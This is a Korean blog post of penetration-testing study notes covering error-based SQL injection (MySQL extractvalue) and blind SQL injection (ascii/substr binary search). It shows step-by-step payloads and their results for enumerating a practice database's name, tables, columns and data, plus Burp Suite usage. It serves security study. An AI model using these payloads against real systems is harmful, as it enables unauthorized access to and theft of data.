모의해킹 스터디 7주차 정리

2024. 12. 2. 00:48·모의해킹/모의해킹 스터디
  • SQL 질의문 결과가 화면에 출력되는 경우 : UNION SQL
  • 에러메시지가 화면에 출력되는 경우: Error Based SQLi
    • 에러 메시지를 활용해서 데이터를 출력 => 로직에러 / SQL 에러
  • SQL 질의문 결과가 화면에 안나오는 경우: Blind SQL Injecction 
    • normaltic’ and extractValue(’아무데이터’, concat(0x3a, (select ‘궁금에 하는 데이터’))) and ‘1’ = ‘1
      • concat(’1’,’2’) =>12 0x3a == :

Error Based SQL Injection

  • 에러 메시지를 활용해서 sql 질의문을 삽입
    • 화면에 직접 출력하는 것이 아니라 에러 메시지안에 해당결과가 포함되서 출력되게 만드는 것
    • 활용할 수 있는 에러
      • 로직 에러
      • SQL 에러
        • => 문법 에러는 실행이 안되기 때문에 필요 없음
  • Select문의 결과를 어떻게 에러 메시지에 포함시킬까?
    • mysql, oracle, mssql마다 다름
    • mysql: ExtractValue(’xml 글자’, ’xml 표현식’)
      • nomaltic' and ExtractValue('1', ':normaltic') and '1'='1 =>  XPAH syntax error :normaltic
        •  ‘:normaltic 이 글자는 xml 표현식이 아니야’ 라는 에러가 나옴(문법에러 해결 후 실행해야 함)
          • (:, ! ….) -> XML 표현식이 아님
          • :의 16진수 표현식: 0x3a
    • concat(’hello’, ‘test’) => hellotest 
      • concat(’:’, ‘test’) == concat(0x3a, ‘test’) => :test
      • normaltic' and extractvalue('1', concat(0x3a, 'normaltic')) and '1'='1

Error Based SQL Injection Process

 1. SQL Injection Point

SQL Injection Point

  • normaltic' -> SQL과 관련된 에러가 나옴

 2. 에러를 출력 함수 선택

  • extractvalue

 3. 공격 format 만들기

공격 format 만들기

  • normaltic' and extractvalue( '1', concat(0x3a, (select 'normaltic'))) and '1' = '1
  • normaltic' and extractvalue( '1', concat(0x3a, (__))) and '1' = '1

 4. DB 명 출력

DB 명 출력

  • normaltic' and extractvalue( '1', concat(0x3a, (select database()))) and '1' = '1
    • segfault_sql

 5. Table 명 출력

Table 명 출력

  • normaltic' and extractvalue( '1', concat(0x3a, (select table_name from information_schema.tables where table_schema='segfault_sql'))) and '1' = '1
    • Subquery returns more than 1 row

 

Table 명 출력 limit

  • normaltic' and extractvalue( '1', concat(0x3a, (select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1))) and '1' = '1
    • game

 

Table 명 출력 group_concat

  • normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema='segfault_sql'))) and '1' = '1
    • game,member,secret,secret_member

 6. Column 명 출력

Column 명 출력 limit

  • normaltic' and extractvalue( '1', concat(0x3a, (select column_name from information_schema.columns where table_name='game' limit 0,1))) and '1' = '1
    • ':idx’

 

Column 명 출력 group_concat

  • normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name='game'))) and '1' = '1
    1. ':idx,name,score,production’

 7. DATA 출력

DATA 출력

  • normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(name) from game))) and '1' = '1
    • Overwatch,SHERLOCK HOLMES: THE

Blind SQL Injecction

  • login 페이지, 아이디 중복체크 -> 이런 곳에서도 데이터를 빼낼 수 있을까?
    • 참과 거짓의 응답 차이로 알아낼 수 있음
    • normaltic’ and (’1’=’1’) and ‘1’=’1
    • (select pass from member where id='normaltic')
      • 이 결과의 첫번째 글자가 a 맞아? → 응 맞아! or 아니야! 출력됨

Blind SQL Injection Process

 1. SQL Injection point 찾기

SQL Injection point 참

  • normaltic' and '1'='1 → 존재하는 아이디입니다.(참)
    • normaltic' and ('1'='1') and '1'='1

 

SQL Injection point 거짓

  • normaltic' and '1'='2 → 존재하지 않는 아이디입니다.(거짓)
    • normaltic' and ('1'='1') and '1'='2
      • 참 / 거짓 결과가 나오기 때문에 Blind SQL Injecction 가능

 2. Select 문구 사용 가능 

select 구문 참

  • normaltic' and ((select 'test')='test') and '1'='1 → 존재하는 아이디입니다.(참)

 

select 구문 거짓

  • normaltic' and ((select 'test')='qq') and '1'='1 → 존재하지 않는 아이디입니다.(거짓)

3. 공격 format 만들기

  • normaltic' and (__조건__) and '1'='1
    • substr((SQL),1,1)
      • substr()
        • substr(’test’,1,1) ⇒ ‘t’
        • substr(’test’,1,2) ⇒ ‘te’
        • substr(’test’,2,1) ⇒ ‘e’
        • substr((Select ‘test’),1,1) = ‘t’
      • normaltic' and (substr((select 'test'),1,1) = 't') and '1'='1 → 존재하는 아이디입니다.(참)
    • ascii(substr((__SQL__),1,1)) > 0
      • 글자 → 숫자 ⇒ ascii code
        • ascii(’a’) == 97
  • normaltic' and (ascii(substr((__SQL__),1,1)) > 0) and '1'='1 → 공격 포맷
    • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > n) and '1'='1
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 0) and '1'='1 → 존재하는 아이디입니다.(참)
        • Binary Search 33 ~ 127

Burp suite 사용Burp suite 사용

  • Burp suite 사용
    • send to repeater → 결과 블록 후 오른쪽 클릭 → Convert selection → URL → URL Decoding
    • response 에 ‘존재하는 아이디 입니다.’ 복사 → 하단에 붙여넣기 → 설정모양 클릭 → Auto-scroll to match when text changes 체크 → send ⇒ 거짓일 경우 response에 아무것도 안나옴 → 숫자 수정하면서 send하기
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 70) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 90) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 100) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 110) and '1'='1 → 거짓
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 105) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 109) and '1'='1 → 존재하는 아이디입니다.(참)
        • 110 ⇒ ‘n’
          • normaltic' and (ascii(substr((select 'normaltic'),1,1) = 110)) and '1'='1 => 존재하는 아이디입니다.(참)

 4. db 찾기

  • select database()
    • 첫번째 글자
      • normaltic' and (ascii(substr((select database()),1,1)) > 0) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select database()),1,1)) > 70) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select database()),1,1)) > 100) and '1'='1→ 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select database()),1,1)) > 110) and '1'='1 → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select database()),1,1)) > 120) and '1'='1 → 거짓
      • normaltic' and (ascii(substr((select database()),1,1)) > 115) and '1'='1 → 거짓
      • normaltic' and (ascii(substr((select database()),1,1)) > 114) and '1'='1 → 존재하는 아이디입니다.(참)
        • 115 = s
          • normaltic' and (ascii(substr((select database()),1,1)) = 115) and '1'='1
    • 두번째 글자
      • normaltic' and (ascii(substr((select database()),2,1)) > 0) and '1'='1  → 존재하는 아이디입니다.(참)
      • normaltic' and (ascii(substr((select database()),2,1)) > 80) and '1'='1  → 존재하는 아이디입니다.(참)

 5. table 찾기

  • 첫번째 글자
    • normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1 ),1,1)) > 0) and '1'='1
      • 103 == g 
        • normaltic' and (ascii(substr((select table_name from information_schema.tables 
          where table_schema='segfault_sql' limit 0,1 ),1,1)) = 103) and '1'='1

 6. 컬럼 이름 찾기

 7. 데이터 찾기

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - SQL Injection 2  (0) 2024.11.27
모의해킹 스터디 CTF 문제 - SQL Injection 1  (0) 2024.11.26
모의해킹 스터디 6주차 과제  (0) 2024.11.25
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)
  • 모의해킹 스터디 CTF 문제 - Error Based SQLi Basic
  • 모의해킹 스터디 CTF 문제 - SQL Injection 2
  • 모의해킹 스터디 CTF 문제 - SQL Injection 1
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    웹해킹
    상태코드
    모의해킹스터디
    hash
    javascript
    HTTP
    오블완
    burpsuite
    php
    Chrome
    SQL
    HTML
    WEB
    HttpResponse
    Network
    sqlinjection
    httprequest
    티스토리챌린지
    메서드
    웹개발
    NAT
    mysql
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 7주차 정리
상단으로

티스토리툴바